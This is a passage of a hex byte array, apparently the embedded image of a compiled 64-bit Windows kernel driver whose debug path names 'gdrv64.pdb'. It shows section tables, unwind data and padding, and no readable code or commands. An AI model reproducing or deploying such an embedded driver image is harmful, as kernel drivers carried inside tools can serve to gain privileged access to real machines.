0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x80, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0x54, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, - 0xC8, 0x42, 0x00, 0x00, 0xC8, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x40, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, - 0x9F, 0x44, 0x71, 0x4D, 0x09, 0x1A, 0x30, 0x4A, 0xAA, 0xCC, 0x36, 0x6B, - 0x14, 0x01, 0x90, 0x11, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55, - 0x73, 0x65, 0x72, 0x73, 0x5C, 0x67, 0x65, 0x6F, 0x72, 0x67, 0x65, 0x5C, - 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x5C, 0x76, 0x69, - 0x73, 0x75, 0x61, 0x6C, 0x20, 0x73, 0x74, 0x75, 0x64, 0x69, 0x6F, 0x20, - 0x32, 0x30, 0x31, 0x35, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, - 0x73, 0x5C, 0x6C, 0x65, 0x67, 0x61, 0x63, 0x79, 0x67, 0x64, 0x72, 0x76, - 0x36, 0x34, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, - 0x73, 0x65, 0x5C, 0x67, 0x64, 0x72, 0x76, 0x36, 0x34, 0x2E, 0x70, 0x64, - 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, - 0x50, 0x12, 0x00, 0x00, 0xD0, 0x1C, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, - 0xE0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, - 0x24, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, - 0x40, 0x34, 0x00, 0x00, 0x4F, 0x06, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x73, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, - 0xF8, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, - 0x66, 0x67, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0xFC, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, - 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x50, 0x44, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x20, 0x50, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, - 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, - 0xEC, 0x01, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x70, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, - 0x64, 0x73, 0x24, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x80, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x81, 0x00, 0x00, 0x84, 0x02, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xE8, 0x02, 0x00, 0x00, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x0F, 0x00, - 0x0F, 0x34, 0x0E, 0x00, 0x0F, 0xB2, 0x0B, 0x70, 0x02, 0x1D, 0x0E, 0x00, - 0x07, 0x06, 0x62, 0x16, 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, - 0x1D, 0x54, 0x0B, 0x00, 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, - 0x17, 0xE0, 0x15, 0xC0, 0x02, 0x10, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, - 0x10, 0x34, 0x0B, 0x00, 0x10, 0x32, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, - 0x07, 0x60, 0x06, 0x50, 0x02, 0x12, 0x0A, 0x00, 0x05, 0x16, 0x00, 0x06, - 0x12, 0x54, 0x0B, 0x00, 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0E, 0xE0, - 0x0C, 0x70, 0x0B, 0x60, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, 0x02, 0x0A, 0x06, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, - 0x02, 0x14, 0x0A, 0x00, 0x02, 0x16, 0x00, 0x06, 0x14, 0x64, 0x08, 0x00, - 0x14, 0x54, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, - 0x02, 0x1F, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, 0x1F, 0x74, 0x21, 0x00, - 0x1F, 0x64, 0x20, 0x00, 0x1F, 0x34, 0x1E, 0x00, 0x1F, 0x01, 0x1A, 0x00, - 0x14, 0xF0, 0x12, 0xE0, 0x10, 0x50, 0x00, 0x00, 0x1A, 0x27, 0x0C, 0x00, - 0x09, 0x16, 0x00, 0x06, 0x19, 0x64, 0x15, 0x00, 0x19, 0x34, 0x14, 0x00, - 0x19, 0xB2, 0x12, 0xF0, 0x10, 0xE0, 0x0E, 0xC0, 0x0C, 0x70, 0x0B, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x23, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x15, 0x64, 0x13, 0x00, 0x15, 0x34, 0x12, 0x00, - 0x15, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x1A, 0x1D, 0x08, 0x00, 0x04, 0x16, 0x00, 0x06, - 0x0F, 0x34, 0x12, 0x00, 0x0F, 0xB2, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x20, 0x08, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x12, 0x74, 0x11, 0x00, 0x12, 0x34, 0x10, 0x00, - 0x12, 0xB2, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, - 0x1A, 0x21, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, 0x13, 0x34, 0x14, 0x00, - 0x13, 0xB2, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x21, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x12, 0x54, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, - 0x12, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x60, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, - 0x04, 0x42, 0x00, 0x00, 0x02, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, - 0x15, 0x74, 0x08, 0x00, 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, - 0x15, 0x32, 0x11, 0xE0, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0F, 0x64, 0x09, 0x00, 0x0F, 0x34, 0x08, 0x00, 0x0F, 0x52, 0x0B, 0x70, - 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06, 0x06, 0x32, 0x02, 0x30, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x07, 0x00, - 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x19, 0x0C, 0x00, - 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, - 0x19, 0x54, 0x07, 0x00, 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, - 0x02, 0x0A, 0x06, 0x00, 0x06, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, - 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, - 0x01, 0x06, 0x0A, 0x06, 0x05, 0x06, 0x00, 0x06, 0x02, 0x04, 0x01, 0x00, - 0x04, 0x62, 0x00, 0x00, 0x02, 0x02, 0x03, 0x00, 0x06, 0x16, 0x00, 0x06, - 0x02, 0x30, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x06, 0xE8, 0x26, - 0x48, 0x16, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, - 0x01, 0x16, 0xAF, 0x06, 0x02, 0x00, 0x02, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x50, 0x12, 0x00, 0x00, 0x37, 0x13, 0x00, 0x00, - 0x6C, 0x45, 0x00, 0x00, 0x38, 0x13, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, 0x22, 0x17, 0x00, 0x00, - 0x0C, 0x45, 0x00, 0x00, 0x24, 0x17, 0x00, 0x00, 0x86, 0x17, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x88, 0x17, 0x00, 0x00, 0xDB, 0x17, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0xDC, 0x17, 0x00, 0x00, 0x1D, 0x18, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0x20, 0x18, 0x00, 0x00, 0x9A, 0x18, 0x00, 0x00, - 0xD4, 0x45, 0x00, 0x00, 0x9C, 0x18, 0x00, 0x00, 0x7A, 0x19, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x7C, 0x19, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, - 0x50, 0x44, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1A, 0x1F, 0x00, 0x00, - 0x64, 0x44, 0x00, 0x00, 0x1C, 0x1F, 0x00, 0x00, 0x85, 0x1F, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x88, 0x1F, 0x00, 0x00, 0x4A, 0x20, 0x00, 0x00, - 0x84, 0x44, 0x00, 0x00, 0x4C, 0x20, 0x00, 0x00, 0xF7, 0x20, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xF8, 0x20, 0x00, 0x00, 0xC7, 0x21, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xC8, 0x21, 0x00, 0x00, 0xC1, 0x22, 0x00, 0x00, - 0x9C, 0x44, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0x4A, 0x23, 0x00, 0x00, - 0xB4, 0x44, 0x00, 0x00, 0x4C, 0x23, 0x00, 0x00, 0xDE, 0x23, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xE0, 0x23, 0x00, 0x00, 0xCF, 0x24, 0x00, 0x00, - 0xEC, 0x45, 0x00, 0x00, 0xD0, 0x24, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, 0xD7, 0x28, 0x00, 